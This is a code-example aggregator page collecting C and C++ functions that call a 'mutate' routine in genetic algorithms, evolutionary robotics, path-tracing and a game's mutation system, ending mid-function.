Esempio n. 1
0
static void SmallStep(RNG &rng, MLTSample *sample, int maxDepth,
        int x0, int x1, int y0, int y1, float t0, float t1) {
    mutate(rng, &sample->cameraSample.imageX, x0, x1);
    mutate(rng, &sample->cameraSample.imageY, y0, y1);
    mutate(rng, &sample->cameraSample.time, t0, t1);
    mutate(rng, &sample->cameraSample.lensU);
    mutate(rng, &sample->cameraSample.lensV);
    for (int i = 0; i < maxDepth; ++i) {
        // Apply small step to $i$th _PathSample_
        PathSample &ps = sample->pathSamples[i];
        mutate(rng, &ps.bsdfComponent);
        mutate(rng, &ps.bsdfDir0);
        mutate(rng, &ps.bsdfDir1);
        mutate(rng, &ps.bsdfLightComponent);
        mutate(rng, &ps.bsdfLightDir0);
        mutate(rng, &ps.bsdfLightDir1);
        mutate(rng, &ps.lightNum0);
        mutate(rng, &ps.lightNum1);
        mutate(rng, &ps.lightDir0);
        mutate(rng, &ps.lightDir1);
    }
}
Esempio n. 2
0
void player::mutate_towards(std::string mut)
{
    if (has_child_flag(mut)) {
        remove_child_flag(mut);
        return;
    }

    bool has_prereqs = false;
    bool prereq1 = false;
    bool prereq2 = false;
    std::string canceltrait = "";
    std::vector<std::string> prereq = mutation_data[mut].prereqs;
    std::vector<std::string> prereqs2 = mutation_data[mut].prereqs2;
    std::vector<std::string> cancel = mutation_data[mut].cancels;

    for (int i = 0; i < cancel.size(); i++) {
        if (!has_trait( cancel[i] )) {
            cancel.erase(cancel.begin() + i);
            i--;
        } else if (has_base_trait( cancel[i] )) {
            //If we have the trait, but it's a base trait, don't allow it to be removed normally
            canceltrait = cancel[i];
            cancel.erase(cancel.begin() + i);
            i--;
        }
    }

    if (!cancel.empty()) {
        std::string removed = cancel[ rng(0, cancel.size() - 1) ];
        remove_mutation(removed);
        return;
    }

    for (int i = 0; (!prereq1) && i < prereq.size(); i++) {
        if (has_trait(prereq[i])) {
            prereq1 = true;
        }
    }
    
    for (int i = 0; (!prereq2) && i < prereqs2.size(); i++) {
        if (has_trait(prereqs2[i])) {
            prereq2 = true;
        }
    }

    if (prereq1 && prereq2) {
        has_prereqs = true;
    }
    
    if (!has_prereqs && (!prereq.empty() || !prereqs2.empty())) {
        if (!prereq1 && !prereq.empty()) {
            std::string devel = prereq[ rng(0, prereq.size() - 1) ];
            mutate_towards(devel);
            return;
            }
        else if (!prereq2 && !prereqs2.empty()) {
            std::string devel = prereqs2[ rng(0, prereqs2.size() - 1) ];
            mutate_towards(devel);
            return;
            }
    }
    
    // Check for threshhold mutation, if needed
    bool threshold = mutation_data[mut].threshold;
    bool has_threshreq = false;
    std::vector<std::string> threshreq = mutation_data[mut].threshreq;
    std::vector<std::string> mutcat;
    mutcat = mutation_data[mut].category;
    
    // It shouldn't pick a Threshold anyway (they're supposed to be non-Valid)
    // but if it does, just reroll
    if (threshold) {
        g->add_msg(_("You feel something straining deep inside you, yearning to be free..."));
        mutate();
        return;
    }

    for (int i = 0; !has_threshreq && i < threshreq.size(); i++) {
        if (has_trait(threshreq[i])) {
            has_threshreq = true;
        }
    }

    // No crossing The Threshold by simply not having it
    // Reroll mutation, uncategorized (prevents looping)
    if (!has_threshreq && !threshreq.empty()) {
        g->add_msg(_("You feel something straining deep inside you, yearning to be free..."));
        mutate();
        return;
    }

    // Check if one of the prereqs that we have TURNS INTO this one
    std::string replacing = "";
    prereq = mutation_data[mut].prereqs; // Reset it
    for (int i = 0; i < prereq.size(); i++) {
        if (has_trait(prereq[i])) {
            std::string pre = prereq[i];
            for (int j = 0; replacing == "" && j < mutation_data[pre].replacements.size(); j++) {
                if (mutation_data[pre].replacements[j] == mut) {
                    replacing = pre;
                }
            }
        }
    }

    toggle_mutation(mut);
    if (replacing != "") {
        g->add_msg(_("Your %1$s mutation turns into %2$s!"), traits[replacing].name.c_str(), traits[mut].name.c_str());
        g->u.add_memorial_log(_("'%s' mutation turned into '%s'"), traits[replacing].name.c_str(), traits[mut].name.c_str());
        toggle_mutation(replacing);
        mutation_loss_effect(*this, replacing);
        mutation_effect(*this, mut);

    } else if (canceltrait != "") {
        // If this new mutation cancels a base trait, remove it and add the mutation at the same time
        g->add_msg(_("Your innate %1$s trait turns into %2$s!"), traits[canceltrait].name.c_str(), traits[mut].name.c_str());
        g->u.add_memorial_log(_("'%s' trait turned into '%s'"), traits[canceltrait].name.c_str(), traits[mut].name.c_str());
        toggle_mutation(canceltrait);
        mutation_loss_effect(*this, canceltrait);
        mutation_effect(*this, mut);
    } else {
        g->add_msg(_("You gain a mutation called %s!"), traits[mut].name.c_str());
        g->u.add_memorial_log(_("Gained the mutation '%s'."), traits[mut].name.c_str());
        mutation_effect(*this, mut);
    }

    set_highest_cat_level();
    drench_mut_calc();
}
MONEEControlArchitecture::MONEEControlArchitecture( RobotAgentWorldModel *__wm ) : BehaviorControlArchitecture ( __wm ) {
	_wm = (MONEEAgentWorldModel*)__wm;

	/**
	 * Adds the extra puckSensors to the active core sensor list, such that it
	 * can be used
	 */
	//register sensors
    _rangeSensors.resize(_wm->getDefaultSensors()->getSensorCount());
	for (int x = 0; x != gAgentWidth; x++) {
		for (int y = 0; y != gAgentHeight; y++) {
			Uint32 pixel = getPixel32(gAgentSpecsImage, x, y);
			if (pixel != SDL_MapRGB(gAgentSpecsImage->format, 0xFF, 0xFF, 0xFF)) {
				// sensor found, register sensor.
				Uint8 r, g, b;
				SDL_GetRGB(pixel, gAgentSpecsImage->format, &r, &g, &b);

//				if (_wm->getDefaultSensors()->getSensors()[r][0] != -1) {
//					std::cout << "[ERROR] robot sensor id already in use -- check agent specification image." << std::endl;
//					exit(-1);
//				}
//
				if (r >= _wm->getDefaultSensors()->getSensorCount()) {
					std::cout << "[ERROR] robot sensor id is not permitted (must be defined btw 0 and " << (_wm->getDefaultSensors()->getSensorCount() - 1) << ", got: " << r << ") -- check agent specification image." << std::endl;
					exit(-1);
				}

				int sensorId = r;

				double dxOrigin = x - gAgentWidth / 2;
				double dyOrigin = y - gAgentHeight / 2;
				double originDistance = sqrt(dxOrigin * dxOrigin + dyOrigin * dyOrigin);

				double cosOrigin = dxOrigin / originDistance;
				double sinOrigin = dyOrigin / originDistance;

				// atan2 ?
				double originAngle;
				if (sinOrigin >= 0)
					originAngle = acos(cosOrigin) + M_PI * 0.5;
				else
					originAngle = -acos(cosOrigin) + M_PI * 2.5;

				// sensor target point location wrt. agent center -- sensor target angle is (green+blue) component values
				// note: '-90deg' is due to image definition convention (in image, 0° means front of agent, which is upward -- while 0° in simulation means facing right)
				double targetAngle = (g + b - 90) * M_PI / 180;
				double sinTarget, cosTarget;
				sinOrigin = std::sin(targetAngle);
                cosOrigin = std::cos(targetAngle);
                sinTarget = std::sin(targetAngle);
                cosTarget = std::cos(targetAngle);
				double dxTarget = dxOrigin + cosTarget * gSensorRange;
				double dyTarget = dyOrigin + sinTarget * gSensorRange;
				double targetDistance = sqrt(dxTarget * dxTarget + dyTarget * dyTarget); // length (**from agent center**)

				// Now relatively to the center of agent, not the origin point
				cosTarget = dxTarget / targetDistance;
				sinTarget = dyTarget / targetDistance;

				if (sinTarget >= 0)
					targetAngle = acos(cosTarget) + M_PI * 0.5;
				else
					targetAngle = -acos(cosTarget) + M_PI * 2.5;

				_rangeSensors[sensorId] = new PuckSensors(sensorId, originDistance, originAngle, targetDistance, targetAngle, gSensorRange);
                // THIS IS UGLY GETTING ADDRESS FROM REFERENCE, DO NOT COPY!
				_rangeSensors[sensorId]->getOldSensorData(&(_wm->getDefaultSensors()->getSensors()[sensorId].front()));

				r++;
			}
		}
	}
	for(unsigned int i = 0; i < _rangeSensors.size(); i++){
		_wm->addSensors(_rangeSensors[i]);
	}

    int tmpInt = 0;
    gProperties.checkAndGetPropertyValue("gMaxGenePool", &tmpInt, true);
    gMaxGenePool = tmpInt;
    gProperties.checkAndGetPropertyValue("gMaxLifetimeGathering", &tmpInt, true);
    _maxLifetime[PHASE_GATHERING] = tmpInt;
    gProperties.checkAndGetPropertyValue("gMaxLifetimeMating", &tmpInt, true);
    _maxLifetime[PHASE_MATING] = tmpInt;
    gProperties.checkAndGetPropertyValue("gHiddenNeuronCount", &tmpInt, true);
    _hiddenNeuronCount = tmpInt;
    
    _randomSelection = false;
    gProperties.checkAndGetPropertyValue("gRandomSelection", &_randomSelection, false);
    _useMarket = true;
    gProperties.checkAndGetPropertyValue("gUseMarket", &_useMarket, true);
    _useSpecBonus = false;
    gProperties.checkAndGetPropertyValue("gUseSpecBonus", &_useSpecBonus, false);
    _task1Premium = 1.0;
    gProperties.checkAndGetPropertyValue("gTask1Premium", &_task1Premium, 1.0);
    _selectionPressure = 1.5;
    gProperties.checkAndGetPropertyValue("gSelectionPressure", &_selectionPressure, 1.5);
    
    if (_hiddenNeuronCount > 0) {
        _parameterCount = (_wm->getDefaultSensors()->getSensorCount() * (gPuckColors + 1) + 1 + 2) * _hiddenNeuronCount + (_hiddenNeuronCount + 1) * 2;
        _response.assign(_hiddenNeuronCount, .0);
    } else {
        _parameterCount = (_wm->getDefaultSensors()->getSensorCount() * (gPuckColors + 1) + 1 + 2) * 2;
    }

    _wm->_genePool.reserve(gMaxGenePool);

    _nearbyGenomes.reserve(gNbOfAgents); // Agent counter is unpredictable at this time

    _activeGenome.parameters.assign(_parameterCount, .0);
    mutate(_activeGenome.parameters, 1.0);

    _wm->_puckCounters = &(_activeGenome.pucks);
}
Esempio n. 4
0
/*Algoritmo Principal*/
int main(int argc, char *argv[])
{
    char name[20];// = "_kita_1";
    char archiveName[20] = "archive";
	char fitputName[20] = "fitput";
	char varputName[20] = "varput";
	char hvName[20]= "hv";
	unsigned int i, j, t;
	unsigned int fun, gen;
	clock_t  startTime, endTime;
	double duration, clocktime;
	FILE *fitfile,*varfile;
/*Parametros iniciales*/

    strcpy(name,argv[1]);
    fun = atoi(argv[2]);
    gen = atoi(argv[3]);

    printf("%s %d %d \n",name,fun,gen);

    initialize_data(fun,gen);
/*Iniciar variables*/
	initialize_memory();

	/*
	sprintf(name,"kita_1_");
	sprintf(archiveName,strcat(name,"archive.out"));
	sprintf(fitputName, strcat(name,"fitput.out"));
	sprintf(varputName, strcat(name,"varput.out"));
	sprintf(hvName,strcat(name,"hv.out"));
*/
	//fitfile = fopen(strcat(strcat(fitputName,name),".out"),"w");
	//varfile = fopen(strcat(strcat(varputName,name),".out"),"w");
	//hv = fopen(strcat(strcat(hvName,name),".out"),"w");
/* Iniciar generador de aleatorios*/
	initialize_rand();
	startTime = clock();
/* Iniciar contador de generaciones*/
	t = 0;
/* Iniciar valores de la poblacion de manera aleatoria*/
	initialize_pop();
/* Calcular velocidad inicial*/
	initialize_vel();
/* Evaluar las particulas de la poblacion*/
	evaluate();
/* Almacenar el pBest inicial (variables and valor de aptitud) de las particulas*/
	store_pbests();
/* Insertar las particulas no domindas de la poblacion en el archivo*/

	insert_nondom();
	//printf("\n%d",nondomCtr);
/*Ciclo Principal*/
	while(t <= maxgen)
	{
		//clocktime = (clock() - startTime)/(double)CLOCKS_PER_SEC;
		/*if(verbose > 0 && t%printevery==0 || t == maxgen)
		{
			fprintf(stdout,"Generation %d Time: %.2f sec\n",t,clocktime);
			fflush(stdout);
		}*/
		/*if(t%printevery==0 || t == maxgen)
		{
			fprintf(outfile,"Generation %d Time: %.2f sec\n",t,clocktime);
		}*/
    /* Calcular la nueva velocidad de cada particula en la pooblacion*/
		//printf("\n 1");
		compute_velocity();

    /* Calcular la nueva posicion de cada particula en la poblacion*/
        //printf("\n 2");
        compute_position();
    /* Mantener las particulas en la poblacion de la poblacion en el espacio de busqueda*/
		//printf("\n 3");
		maintain_particles();
    /* Pertubar las particulas en la poblacion*/
		if(t < maxgen * pMut)
			mutate(t);

    /* Evaluar las particulas en la poblacion*/
		//printf("\n 4");
		evaluate();
    /* Insertar nuevas particulas no domindas en el archivo*/
		//printf("\n 5");
		update_archive();
    /* Actualizar el pBest de las particulas en la poblacion*/
		//printf("\n 6");
		update_pbests();
    /* Escribir resultados del mejor hasta ahora*/
    //verbose > 0 && t%printevery==0 || t == maxgen
		/*if(t%printevery==0 || t == maxgen)
		{
			//fprintf(outfile, "Size of Pareto Set: %d\n", nondomCtr);
			fprintf(fitfile, "%d\n",t);
			fprintf(varfile, "%d\n",t);
			for(i = 0; i < nondomCtr; i++)
			{
			    for(j = 0; j < maxfun; j++)
                    fprintf(fitfile, "%f ", archiveFit[i][j]);
                fprintf(fitfile, "\n");
			}
			fprintf(fitfile, "\n\n");
			fflush(fitfile);
			for(i = 0; i < nondomCtr; i++)
			{
			    for(j = 0; j < maxfun; j++)
                    fprintf(varfile, "%f ", archiveVar[i][j]);
                fprintf(varfile, "\n");
			}
			fprintf(varfile, "\n\n");
			fflush(varfile);
		}*/
    /* Incrementar contador de generaciones*/
        t++;
        //printf("%d\n",t);
	}
 /* Escribir resultados en el archivo */
	save_results(strcat(strcat(archiveName,name),".out"));
	endTime = clock();
	duration = ( endTime - startTime ) / (double)CLOCKS_PER_SEC;
	fprintf(stdout, "%lf sec\n", duration);
	//fclose(fitfile);
	//fclose(varfile);
	free_memory();
	return EXIT_SUCCESS;
}
Esempio n. 5
0
main()
{

  /*Some Local variables to this Problem (Counters And some other pointers*/

  int i,j,l,f,maxrank1;
  float *ptr,tot;
  FILE 
    *rep_ptr,
    *gen_ptr,
    *rep2_ptr,
    *end_ptr,
    *g_var,
    *lastit;
  /*File Pointers*/

  rep_ptr = fopen("output.out","w");
  gen_ptr =fopen("all_fitness.out","w");
  rep2_ptr = fopen("ranks.out","w");
  end_ptr = fopen("final_fitness.out","w");
  g_var = fopen("final_var.out","w");
  lastit = fopen("plot.out","w");
  /*Opening the files*/

  old_pop_ptr = &(oldpop);

  nmut = 0;
  ncross = 0;

  /*Get the input from the file input.h*/
  input(rep_ptr);

  fprintf(rep_ptr,"Results in a file\n");
  fprintf(end_ptr,"# Last generation population (Feasible and non-dominated)\n");
  fprintf(end_ptr,"# Fitness_vector (first %d)  Constraint_violation (next %d)  Overall_penalty\n",nfunc,ncons);
  fprintf(g_var,"#Feasible Variable_vectors for non-dominated solutions at last generation\n");
  fprintf(g_var,"# Real (first %d)  Binary (next %d)\n",nvar,nchrom);
  fprintf(lastit,"# Feasible and Non-dominated Objective Vector\n");

  /*Initialize the random no generator*/
  warmup_random(seed);

   /*Binary Initializaton*/
  if (nchrom > 0)
    init(old_pop_ptr);  
  if (nvar > 0)
    realinit(old_pop_ptr);
  
  old_pop_ptr = &(oldpop);

  // decode binary strings
  decode(old_pop_ptr); 

  old_pop_ptr = &(oldpop);
  new_pop_ptr = &(newpop);
  
  for(j = 0;j < popsize;j++)
    {
      /*Initializing the Rank array having different individuals
	at a particular  rank to zero*/
       old_pop_ptr->rankno[j] = 0;
       new_pop_ptr->rankno[j] = 0;
    }
  
  old_pop_ptr = &(oldpop);
  
  func(old_pop_ptr); 
  /*Function Calculaiton*/
  
  fprintf(rep_ptr,"----------------------------------------------------\n");
  fprintf(rep_ptr,"Statistics at Generation 0 ->\n");
  fprintf(rep_ptr,"--------------------------------------------------\n");
  
  /********************************************************************/
  /*----------------------GENERATION STARTS HERE----------------------*/
  for (i = 0;i < gener;i++)
    {
      printf("Generation = %d\n",i+1);
      old_pop_ptr = &(oldpop);
      mate_pop_ptr = &(matepop);
      fprintf(rep_ptr,"Population at generation no. -->%d\n",i+1);
      fprintf(gen_ptr,"#Generation No. -->%d\n",i+1);
      fprintf(gen_ptr,"#Variable_vector  Fitness_vector Constraint_violation Overall_penalty\n");
      
      /*--------SELECT----------------*/
      nselect(old_pop_ptr ,mate_pop_ptr );
      
      new_pop_ptr = &(newpop);
      mate_pop_ptr = &(matepop);
      
      /*CROSSOVER----------------------------*/      
      if (nchrom > 0) 
	{
	  
	  if(optype == 1)
	    {
	      crossover(new_pop_ptr ,mate_pop_ptr );
	      /*Binary Cross-over*/
	    }
	  
	  if(optype == 2)
	    {
	      unicross(new_pop_ptr ,mate_pop_ptr );
	      /*Binary Uniform Cross-over*/
	    }
	}
      if (nvar > 0) 
	realcross(new_pop_ptr ,mate_pop_ptr );
      /*Real Cross-over*/
      
      
      /*------MUTATION-------------------*/
      new_pop_ptr = &(newpop);
      
      if (nchrom > 0)
	mutate(new_pop_ptr );
      /*Binary Mutation */
      
      if (nvar > 0)
	real_mutate(new_pop_ptr );
      /*Real Mutation*/
      
      new_pop_ptr = &(newpop);
      
      /*-------DECODING----------*/
      if(nchrom > 0)
	decode(new_pop_ptr );
      /*Decoding for binary strings*/
      
      /*----------FUNCTION EVALUATION-----------*/
      new_pop_ptr = &(newpop);
      func(new_pop_ptr );
      
      /*-------------------SELECTION KEEPING FRONTS ALIVE--------------*/
      old_pop_ptr = &(oldpop);
      new_pop_ptr = &(newpop);
      mate_pop_ptr = &(matepop);
      
      /*Elitism And Sharing Implemented*/
      keepalive(old_pop_ptr ,new_pop_ptr ,mate_pop_ptr,i+1);      
      
      mate_pop_ptr = &(matepop);
      if(nchrom > 0)
	decode(mate_pop_ptr );
      
      mate_pop_ptr = &(matepop);
      /*------------------REPORT PRINTING--------------------------------*/  
      report(i ,old_pop_ptr ,mate_pop_ptr ,rep_ptr ,gen_ptr, lastit );
      
      /*==================================================================*/
      
      /*----------------Rank Ratio Calculation------------------------*/
      new_pop_ptr = &(matepop);
      old_pop_ptr = &(oldpop);
      
      /*Finding the greater maxrank among the two populations*/
      
      if(old_pop_ptr->maxrank > new_pop_ptr->maxrank)
	maxrank1 = old_pop_ptr->maxrank;
      else 
	maxrank1 = new_pop_ptr->maxrank;

      fprintf(rep2_ptr,"--------RANK AT GENERATION %d--------------\n",i+1);
      fprintf(rep2_ptr,"Rank old ranks   new ranks     rankratio\n");

      for(j = 0;j < maxrank1 ; j++)
	{ 
	  /*Sum of the no of individuals at any rank in old population 
	    and the new populaion*/
	  
	  tot = (old_pop_ptr->rankno[j])+ (new_pop_ptr->rankno[j]);
	  
	  /*Finding the rank ratio for new population at this rank*/
	  
	  new_pop_ptr->rankrat[j] = (new_pop_ptr->rankno[j])/tot;
	  
	  /*Printing this rank ratio to a file called ranks.dat*/
	  
	  fprintf(rep2_ptr," %d\t  %d\t\t %d\t %f\n",j+1,old_pop_ptr->rankno[j],new_pop_ptr->rankno[j],new_pop_ptr->rankrat[j]);
	  
	}
      
      fprintf(rep2_ptr,"-----------------Rank Ratio-------------------\n");
      /*==================================================================*/
      
      /*=======Copying the new population to old population======*/
      
      old_pop_ptr = &(oldpop);
      new_pop_ptr = &(matepop);

      for(j = 0;j < popsize;j++)
	{
	  old_pop_ptr->ind_ptr = &(old_pop_ptr->ind[j]);
	  new_pop_ptr->ind_ptr = &(new_pop_ptr->ind[j]);
	  if(nchrom > 0)
	    {
	      /*For Binary GA copying of the chromosome*/
	      
	      for(l = 0;l < chrom;l++)
		old_pop_ptr->ind_ptr->genes[l]=new_pop_ptr->ind_ptr->genes[l];
	      
	      for(l = 0;l < nchrom;l++)
		old_pop_ptr->ind_ptr->xbin[l] = new_pop_ptr->ind_ptr->xbin[l];
	    }
	  if(nvar > 0)
	    {
	      /*For Real Coded GA copying of the chromosomes*/
	      for(l = 0;l < nvar;l++)
		old_pop_ptr->ind_ptr->xreal[l] = new_pop_ptr->ind_ptr->xreal[l];
	    }
	  
	  /*Copying the fitness vector */	  
	  for(l = 0 ; l < nfunc ;l++)
	    old_pop_ptr->ind_ptr->fitness[l] = new_pop_ptr->ind_ptr->fitness[l];
	  
	  /*Copying the dummy fitness*/
	  old_pop_ptr->ind_ptr->cub_len = new_pop_ptr->ind_ptr->cub_len;
	  
	  /*Copying the rank of the individuals*/
	  old_pop_ptr->ind_ptr->rank = new_pop_ptr->ind_ptr->rank;
	  
	  /*Copying the error and constraints of the individual*/
	  
	  old_pop_ptr->ind_ptr->error = new_pop_ptr->ind_ptr->error;
	  for(l = 0;l < ncons;l++)
	    {
	      old_pop_ptr->ind_ptr->constr[l] = new_pop_ptr->ind_ptr->constr[l];
	    }
	  
	  /*Copying the flag of the individuals*/
	  old_pop_ptr->ind_ptr->flag = new_pop_ptr->ind_ptr->flag;
	}   // end of j
      
      maxrank1 = new_pop_ptr->maxrank ;
	  
      /*Copying the array having the record of the individual 
	at different ranks */
      for(l = 0;l < popsize;l++)
	{
	  old_pop_ptr->rankno[l] = new_pop_ptr->rankno[l];
	}
      
      /*Copying the maxrank */
      old_pop_ptr->maxrank = new_pop_ptr->maxrank;
      
      /*Printing the fitness record for last generation in a file last*/
      if(i == gener-1)
       	{  // for the last generation 
	  old_pop_ptr = &(matepop);
	  for(f = 0;f < popsize ; f++) // for printing
	    {
	      old_pop_ptr->ind_ptr = &(old_pop_ptr->ind[f]);
	      
	      if ((old_pop_ptr->ind_ptr->error <= 0.0) && (old_pop_ptr->ind_ptr->rank == 1))  // for all feasible solutions and non-dominated solutions
		{
		  for(l = 0;l < nfunc;l++)
		    fprintf(end_ptr,"%f\t",old_pop_ptr->ind_ptr->fitness[l]);
		  for(l = 0;l < ncons;l++)
		    {
		      fprintf(end_ptr,"%f\t",old_pop_ptr->ind_ptr->constr[l]);
		    }
		  if (ncons > 0)
		    fprintf(end_ptr,"%f\t",old_pop_ptr->ind_ptr->error);
		  fprintf(end_ptr,"\n");
		  
		  if (nvar > 0)
		    {
		      for(l = 0;l < nvar ;l++)
			{
			  fprintf(g_var,"%f\t",old_pop_ptr->ind_ptr->xreal[l]);
			}
		      fprintf(g_var,"  ");
		    }
		  
		  if(nchrom > 0)
		    {
		      for(l = 0;l < nchrom;l++)
			{
			  fprintf(g_var,"%f\t",old_pop_ptr->ind_ptr->xbin[l]);
			}
		    }
		  fprintf(g_var,"\n");
		}  // feasibility check
	    } // end of f (printing)
	  
	} // for the last generation
    }  // end of i 

  /*                   Generation Loop Ends                                */
  /************************************************************************/
  
  fprintf(rep_ptr,"NO. OF CROSSOVER = %d\n",ncross);
  fprintf(rep_ptr,"NO. OF MUTATION = %d\n",nmut);
  fprintf(rep_ptr,"------------------------------------------------------------\n");
  fprintf(rep_ptr,"---------------------------------Thanks---------------------\n");
  fprintf(rep_ptr,"-------------------------------------------------------------\n");
  printf("NOW YOU CAN LOOK IN THE FILE OUTPUT2.DAT\n");
  
  /*Closing the files*/
  fclose(rep_ptr);
  fclose(gen_ptr);
  fclose(rep2_ptr);
  fclose(end_ptr);
  fclose(g_var);
  fclose(lastit);
}
Esempio n. 6
0
File: sup2.c Progetto: daydin/maze
void createNewPopulation(void)
{
  //double newpop[POP_SIZE][NB_GENES];
  _Bool newpop_bin[POP_SIZE][GENOME_LENGTH];


  int elitism_counter = round(POP_SIZE*ELITISM_RATIO);
  double total_fitness = 0;
  // find minimum fitness to subtract it from sum
  double min_fitness = sortedfitness[POP_SIZE-1][0];
  if (min_fitness<0) min_fitness=0;
  int i, j;

  // calculate total of fitness, used for roulette wheel selection
  for(i=0; i<POP_SIZE; i++) total_fitness+=fitness[i];
  total_fitness-=min_fitness*POP_SIZE;

  //create new population
  for(i=0; i<POP_SIZE; i++) {

    //the elitism_counter best individuals are simply copied to the new population
    if(i<elitism_counter) {
      for(j=0;j<GENOME_LENGTH;j++)
        newpop_bin[i][j]=pop_bin[(int)sortedfitness[i][1]][j];
    }
    //the other individuals are generated through the crossover of two parents
    else {

      //select non-elitist individual
      int ind1=0;
      if (ROULETTE_WHEEL==1) {
        double r=(double)rand()/(double)RAND_MAX;
        double fitness_counter=(sortedfitness[ind1][0]-min_fitness)/total_fitness;
        while( r > fitness_counter) {
          ind1++;
          fitness_counter+=(sortedfitness[ind1][0]-min_fitness)/total_fitness;
        }
      }
      else ind1=floor((double)rand()/(double)RAND_MAX*POP_SIZE*REPRODUCTION_RATIO);

      //if we will do crossover, select a second individual
      if ((double)rand()/(double)RAND_MAX < CROSSOVER_PROBABILITY) {
        int ind2=0;
        if (ROULETTE_WHEEL==1)
          do {
            double r=(double)rand()/(double)RAND_MAX;
            double fitness_counter=(sortedfitness[ind2][0]-min_fitness)/total_fitness;
            while(( r > fitness_counter) && (ind2 < POP_SIZE)){
              ind2++;
              fitness_counter+=(sortedfitness[ind2][0]-min_fitness)/total_fitness;
            }
          } while (ind1==ind2);
        else
          do {
            ind2=floor((double)rand()/(double)RAND_MAX*POP_SIZE*REPRODUCTION_RATIO);
          } while (ind1==ind2);
        ind1=(int)sortedfitness[ind1][1];
        ind2=(int)sortedfitness[ind2][1];
        crossover(ind1, ind2, newpop_bin[i]);
      }
      else { //if no crossover was done, just copy selected individual directly
        for(j=0;j<GENOME_LENGTH;j++) newpop_bin[i][j]=pop_bin[(int)sortedfitness[ind1][1]][j];
      }
    }
  }

  //mutate new population and copy back to pop
  for(i=0; i<POP_SIZE; i++) {
    if(i<elitism_counter) { //no mutation for elitists
      for(j=0;j<GENOME_LENGTH;j++)
        pop_bin[i][j]=newpop_bin[i][j];
    }
    else { //mutate others with probability per gene
      for(j=0;j<GENOME_LENGTH;j++)
        if(((double)rand()/(double)RAND_MAX)<MUTATION_PROBABILITY)
          pop_bin[i][j]=mutate(newpop_bin[i][j]);
        else
          pop_bin[i][j]=newpop_bin[i][j];
    }

    //reset fitness
    fitness[i]=-1;
  }
  return;
}
void negativeValueIsMutatatedByPointer(ExpensiveToCopyType Obj) {
  mutate(&Obj);
}
Esempio n. 8
0
void reproduction(int source_colony, 
		  struct pop society,
		  int   *ptr_N,
		  const  gsl_rng *rand){

	int k,j;
	double *fitness;
	double pop_fitness;
	unsigned int N_new;
	unsigned int *tmp;
	int picked_father;
	int counter;
	int **ptr_offspring_matrix_del; /*this is the matrix into which the genotypes of the offspring will be stored*/
	int **ptr_offspring_matrix_env;

	ptr_offspring_matrix_del=make_matrix(society.size_max, LOCI_DEL);
	ptr_offspring_matrix_env=make_matrix(society.size_max, LOCI_ENV);

	fitness = malloc(society.size_max*sizeof(double));
	tmp = malloc(society.size_max*sizeof(double));

	if(fitness==NULL){
		fprintf(stderr, "ERROR: memory allocation did not work\n");
		fflush(stderr);
		abort();
	}

	if(fitness==NULL){
		fprintf(stderr, "ERROR: memory allocation did not work\n");
		fflush(stderr);
		abort();
	}

	for(k=(*ptr_N);k<society.size_max;k++){
                fitness[k]=0;
        }

        pop_fitness=0;

	/*calculate the fitness of individuals*/


	pop_fitness=calculate_fitness(ptr_N, fitness, society);
	
	/*determine the number of individuals in the next generation*/
	
    	if(source_colony == 0){		
		N_new = gsl_ran_poisson(rand, pop_fitness);
	}
	
	else{
	
    		if(source_colony == 1){		
			N_new = *ptr_N;	
		}

		else{
			fprintf(stderr, "ERROR: neither colony nor source\n");
			fflush(stderr);
			abort();
		}
	}



	/*find the mothers: tmp[k] gives the number of offspring of individual k*/
 	gsl_ran_multinomial(rand, society.size_max, N_new, fitness, tmp);
        
        	
	/*now we pick a father for each offspring and determine the genotype of the offspring*/

	counter=0;	
	picked_father=0;

	for(k=0;k<*ptr_N;k++){
		for(j=0;j<tmp[k];j++){
			picked_father = pick_father(rand, ptr_N, fitness, k);	
			form_offspring(rand, k, picked_father, counter, society.ptr_matrix_del, society.ptr_matrix_env, ptr_offspring_matrix_del, ptr_offspring_matrix_env);
			counter=counter+1;
		}
	}


	/*the population size gets updated*/

	*ptr_N=N_new;

	if(N_new > society.size_max){
		fprintf(stderr, "ERROR: population overgrew its limits! \n");
		fflush(stderr);
		abort();
	}
	
	/*the population matrix gets updated by the offspring matrix*/

	/*for(j=0;j<society.size_max;j++){
		for(k=0;k<LOCI_DEL;k++){
			society.ptr_matrix_del[j][k]=ptr_offspring_matrix_del[j][k];
		}
		for(k=0;k<LOCI_ENV;k++){
			society.ptr_matrix_env[j][k]=ptr_offspring_matrix_env[j][k];
		}
	}*/
	
	/*finally, we mutate all the entries in the population matrix*/
	
	for(j=0;j<*ptr_N;j++){
		for(k=0;k<LOCI_DEL;k++){
			society.ptr_matrix_del[j][k] = mutate(rand, ptr_offspring_matrix_del[j][k]);
		}
		for(k=0;k<LOCI_ENV;k++){
			society.ptr_matrix_env[j][k] = mutate(rand, ptr_offspring_matrix_env[j][k]);
		}
	}
	
	for(j=*ptr_N;j<society.size_max;j++){
		for(k=0;k<LOCI_DEL;k++){
			society.ptr_matrix_del[j][k] = 0;
		}
		for(k=0;k<LOCI_ENV;k++){
			society.ptr_matrix_env[j][k] = 0;
		}
	}

	free(ptr_offspring_matrix_del);
	free(ptr_offspring_matrix_env);

}
cinder::Surface ColorAlgoGen::operator()(const cinder::Surface& realImage)
{
    std::vector<SurfaceWrapper> nextGenPopulation;
    nextGenPopulation.reserve(m_popSize);


    std::for_each(m_population.begin(), m_population.end(), [this, &realImage](SurfaceWrapper& s)
    {
        s.fitness = getFitness(realImage, s.image);
    });

    std::sort(m_population.begin(), m_population.end(), [](const SurfaceWrapper& s1, const SurfaceWrapper& s2)
    {
        return s1.fitness < s2.fitness;
    });

    unsigned int copyRatio = tools::clamp<int>(
        static_cast<int>(getPercent(COPY) * m_popSize),
        0,
        m_popSize
        );

    if (copyRatio > 0)
    {
        std::transform(m_population.begin(), m_population.begin() + copyRatio, std::back_inserter(nextGenPopulation), [&realImage, this](const SurfaceWrapper& sw)
        {
            return sw;
        });
    }



    unsigned int mutateRatio = tools::clamp<int>(
        static_cast<int>(getPercent(MUTATE) * m_popSize),
        0,
        m_popSize - copyRatio
        );

    if (mutateRatio > 0)
    {
        std::transform(m_population.begin(), m_population.begin() + mutateRatio, std::back_inserter(nextGenPopulation), [&realImage, this](const SurfaceWrapper& sw)
        {
            cinder::Surface s = mutate(sw.image);
            
            return SurfaceWrapper(s, getFitness(realImage, s));
        });
    }

    unsigned int crossOverRatio = tools::clamp<int>(
        static_cast<int>(getPercent(CROSSOVER) * m_popSize),
        0,
        m_popSize - copyRatio - mutateRatio
        );

    if (crossOverRatio > 0)
    {
